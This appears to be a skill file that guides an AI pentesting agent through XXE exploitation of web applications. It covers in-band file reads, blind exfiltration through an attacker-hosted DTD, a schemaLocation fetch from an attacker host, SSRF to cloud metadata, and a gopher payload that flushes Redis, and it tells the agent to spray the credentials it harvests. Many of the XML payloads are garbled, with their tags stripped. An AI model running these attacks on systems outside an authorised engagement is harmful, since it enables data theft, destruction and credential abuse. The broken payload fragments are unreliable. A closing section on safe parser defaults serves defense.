--- name: web-xxe description: XML External Entity injection detection→file-read/SSRF→proof for web apps. Use when the app parses XML you influence - SOAP/REST XML bodies, SAML, RSS/Atom, DOCX/XLSX/SVG/XML file uploads, sitemap import, SVG avatars. Triggers - Content-Type application/xml or text/xml, ]> &x; ``` If `/etc/passwd` comes back in the response → classic in-band XXE. No reflection → test blind (OOB) below. ## Decide - Entity value reflected in a response field → in-band file read. - Not reflected but parser fetches your DTD → **blind XXE** → OOB exfil via external DTD. - Non-printable/multiline files break the parser → use `php://filter` base64 wrapper (PHP) to read source. - Entity fetches arbitrary URLs → **XXE→SSRF** (hit internal services / cloud metadata; see web-ssrf). ## Exploit → PROVE IMPACT ```xml ]>&x; /evil.dtd"> %p;]> /?d=%f;'>"> %e; %x; ``` **Proof required:** contents of a server file (`/etc/passwd`, app source, a secret) or a provable OOB fetch of a file's bytes. Read creds → add_credential + cred_spray. ## Tooling `nuclei -tags xxe`; for DOCX/XLSX: unzip, inject into the XML part, re-zip, upload. Host the OOB DTD on your attacker box (internal targets: transfer the listener inward). ## False positives / pitfalls - Parser has external entities disabled → in-band fails; blind/parameter-entity variant may still work; if the DTD isn't fetched at all, it's patched. - WAF blocks `` → try UTF-16/UTF-7 encoding, or a nested/parameter-entity form. - Reflected-but-not-parsed input = not XXE. ## 2024-2025 additions ### Modern parser defaults (mostly safe by default) - **Java (JAXP / DocumentBuilderFactory / SAXParserFactory)**: `setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)` and `setFeature("http://xml.org/sax/features/external-general-entities", false)` are default in JDK 11+ / recent libraries. Check `feature.setFeature("http://xml.org/sax/features/external-parameter-entities", false)`. - **.NET (XmlReader / XmlDocument)**: `XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit` default in .NET 6+. `XmlDocument.XmlResolver = null` blocks DTD. - **Python (defusedxml / lxml / xml.etree)**: `defusedxml` safe by default; `lxml.etree.XMLParser(resolve_entities=False)`; `xml.etree.ElementTree` no network by default. - **Go (encoding/xml)**: `Decoder.Entity` not set = no external entities. Safe by default. - **Node.js (xmldom / libxmljs / fast-xml-parser)**: Most disable DTD by default; check `DOMParser` options. ### Bypass techniques for hardened parsers - **Parameter entities (blind XXE)**: Even if general entities blocked, parameter entities (` %p;`) may still work for OOB. - **`expect` / `php://` / `data:` / `jar:` wrappers**: If entity expansion works, try protocol handlers for SSRF/RCE. - **XML Schema (XSD) `xsi:schemaLocation`**: `xsi:schemaLocation="ns http://attacker/evil.xsd"` → parser fetches XSD → SSRF. - **XInclude**: `` — if XInclude enabled. - **SVG / Office XML**: `.svg` (XML-based) → `` or ``. `.docx`/`.xlsx` → unzip, inject into `word/document.xml` or `xl/workbook.xml`, re-zip. - **SAML / WS-Federation**: `SAMLResponse` / `wst:RequestSecurityToken` — signed XML; if signature validation skipped or cert trusted → XXE in assertion. ### XXE → SSRF chains (2024) - **Cloud metadata via XXE**: `file:///etc/passwd` works, but `http://169.254.169.254/latest/meta-data/` requires `http`/`https` scheme — some parsers block external HTTP but allow `file`. Try `file:///proc/net/tcp` for port scan. - **gopher:// via XXE**: `gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a` → Redis flush via XXE if parser supports `gopher`. - **XXE in SOAP headers**: `wsse:Security` / `wsse:BinarySecurityToken` — if parsed separately. ### Tooling - **`nuclei -tags xxe`** (2024): `xxe-file-read`, `xxe-blind-oob`, `xxe-ssrf`, `xxe-svg`, `xxe-docx`, `xxe-saml`. - **`xxe-injector`** / **`XXEinjector`** (Ruby): Automated blind XXE exploitation with OOB DTD hosting. - **`OXID` / `XML External Entity Attack`** Burp extension: Auto-detect + exploit. - **`docx-xxe`** / **`xlsx-xxe`** scripts: Inject XXE into office docs.